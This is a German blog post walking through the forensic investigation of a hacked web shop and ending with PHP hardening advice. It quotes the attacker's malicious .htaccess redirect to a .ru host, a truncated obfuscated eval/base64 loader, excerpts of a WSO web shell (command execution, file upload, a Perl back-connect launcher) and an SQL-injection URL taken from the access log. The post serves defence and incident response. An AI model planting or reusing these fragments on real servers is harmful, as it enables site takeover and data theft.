Nachforschungen nach einem Hack einer Webseite

Lukas [php, Qualitätssicherung]

Wir starten mit einem offenbar gehackten Online-Shop bei dem der Betreiber nichts von dem Hack sieht. Man werde nach Russland weitergeleitet. Mehr Informationen stehen mir nicht zur Verfügung. Anzumerken ist, dass wir die Seite weder Erstellt haben noch Unterhalten. Trotzdem helfen wir natürlich wo Not ist! Da die Bestellungen seit Freitag Abend eingebrochen sind, wurde die Seite vemutlich zu diesem Zeitpunkt gehackt. Zum Glück steht mir ein ssh Zugang zur Verfügung. Ein find . -type f -ctime -3 zeigt mir, welche Dateien in der Zeit verändert wurden. Die .htaccess fällt mir als erstes auf. Die Vorahnung bestätigt sich im Inhalt, der in etwa so aussieht:

RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|***gekürzt***).(.*)
RewriteRule ^(.*)$ http://jamkim.ru/in.cgi?4 [R=301,L]

Je nach Referrer wird man also weitergeleitet. Das erklärt, weshalb der Betreiber nichts bemerkt hat. Er wird seine eigene Seite kaum via Suchmaschine aufsuchen.

Woher kommt das .htaccess file?

Eine weitere Datei die auffällt ist das File tmp/jos_eh09.php. Betrachten wir als nächstes diese Datei:

Diese beinhaltet eine Lange Zeichenfolge innerhalb eines preg_replace Aufrufes:

preg_replace("/.*/e","x65x76x61x6***gekürzt***x65x20x28'5b1rdxrH0ij82Xu***gekürzt***burj+Xw=='x29x29x20);

Das ist ein wenig Hexadecimal kodiert und base64. Der Hex encodierte String ist lesbar folgendes:

eval ( gzinflate ( base64_decode (

Es wird also ein base64 encodierter string decoded, entpackt und mit eval ausgeführt. Tatsächlich enthält der base64 encodierte String über 1500 Zeilen php code. Darin befinden sich Funktionen um das Filesystem auszulesen, Datenbanken und Serverinformationen abzufragen.

switch($this->type) {
  case 'mysql':
    return $this->query("SHOW databases");
    break;
  case 'pgsql':
    return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
    break;
[...]
wsoSecParam('Open base dir', @ini_get('open_basedir'));
wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');

Mit einigen Funktionen lassen sich Dateien finden und schreiben.

wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes ":'no');
wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes ":'no');
[...]
switch($_POST['p1']) {
  case 'uploadFile':
    if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
      echo "Can't upload file!";
    break;
  case 'mkdir':
    if(!@mkdir($_POST['p2']))
      echo "Can't create new dir";
    break;
  case 'delete':
[...]
echo 'FileManager';
$dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);

Oder es werden direkt Kommandos ausgeführt.

if (function_exists('exec')) {
        @exec($in,$out);
        $out = @join("n",$out);
    } elseif (function_exists('passthru')) {
        ob_start();
        @passthru($in);
        $out = ob_get_clean();
    } elseif (function_exists('system')) {
[...]

Alles wird durch eine schier endlose Anzahl von $_POST Parametern gesteuert. Nach ein wenig Suche findet sich sogar eine Funktion, die via Perl einen Socket öffnen und auf einem wählbaren Port (Die Voreinstellung ist 31773, da war wohl ein Elite Hacker unterwegs... ;)) auf Kommandos wartet.

cf("/tmp/bc.pl",$back_connect_p);
 $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");

Für den Fall, das PHP Script wird erkannt und gelöscht wird läuft im Hintergrund ein Service, mit dem man den Server erneut kompromitieren kann.

Was alles sonst noch verändert wurde lässt sich nur schwer sagen. Das Skript bietet viele Möglichkeiten.

Wie konnte das Skript installiert werden?

Wir wissen also wie Befehle auf dem Server ausgeführt wurden. Wie aber konnte der Angreifer sein PHP Script installieren. Dazu liefert das Apache-Log weitere Hinweise:

/index.php?option=com_gmaps&task=viewmap&mapId=-1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%

Offenbar konnte über eine schlecht gesicherte Komponente via SQL Injection die User-Tabelle ausgelesen werden. Dann braucht es nur noch ein schlechtes Passwort und schon hat der Bösewicht Super Admin Zugang. Via Backend des CMS lässt sich ohne weiteres ein PHP Skript erstellen.

Sicherheitseinstellungen vornehmen

Einige Einschränkungen sollten auf jedem Server mit PHP gemacht werden. Dazu gehört die Restriktion via open_basedir und das verbieten von Funktionen via disable_functions.

http://php.net/manual/de/ini.core.php#ini.disable-functions
http://php.net/manual/de/ini.core.php#ini.open-basedir

Für disable_functions empfiehlt sich, besser mehr als weniger zu verbieten. Funktionen die eine Webseite mit PHP nicht zu verwenden hat:

disable_functions = show_source, system, shell_exec, passthru, exec,
 popen, proc_open, symlink, wordwrap, url_fopen,
 phpcredits, escapeshellarg, escapeshellcmd, proc_close, proc_get_status,
 proc_nice, proc_terminate, virtual, ini_alter, ini_restore,
 set_include_path, php_ini_scanned_files, memory_get_usage

Fazit

Durch die Komplexität und Offenheit des Scripts ist eine Neuinstallation unumgänglich. Der Angreifer könnte via touch auch File-Modification-Daten geändert haben, wodurch Dateiveränderungen ziemlich gut verschleiert würden. Die Suche nach veränderten Dateien wäre nicht im Verhältnis zur Neuinstallation.

Wichtig bleibt die Verwendung von guten Passwörtern, sowie regelmässige Updates und Prüfung, ob die verwendete Software anfällig ist.

zurück